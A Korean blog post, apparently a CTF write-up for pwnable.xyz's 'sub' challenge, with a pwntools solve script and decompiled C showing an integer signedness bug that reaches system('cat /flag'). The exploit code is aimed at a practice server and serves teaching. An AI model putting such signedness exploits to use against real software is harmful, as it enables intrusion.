security/포너블 - pwnable.xyz

pwnable.xyz - sub

민사민서 2023. 2. 5. 01:00
from pwn import *

p = remote("svc.pwnable.xyz", 30001)

p.recvuntil("1337 input: ")
p.sendline("4918 -1")
p.interactive()
 
- 마찬가지 chmod +x ./challenge 해서 실행권한 부여해서 실행해봄
- IDA로 디컴파일해서 동작 분석해보자

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h] BYREF
  int v5; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

// fs 세그먼트 기준 0x28만큼 떨어져있는 메모리의 qword를 v6에 저장
  v6 = __readfsqword(0x28u);

  sub_A3E(a1, a2, a3);
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
// unsigned int 두 개를 입력받는데
// 신기하게 scanf("%u", &a)에서 a가 (signed) int면 -1 입력 시 -1 제대로 저장됨 
  _isoc99_scanf("%u %u", &v4, &v5);
// 여기서 비교 & 계산할 땐 signed int로 고려
// v4=4918, v5=-1 주면 되겠네 
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}


'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - grownup  (0) 2023.02.05
pwnable.xyz - misalignment  (0) 2023.02.05
pwnable.xyz - add  (0) 2023.02.05
pwnable.xyz - welcome  (0) 2023.02.05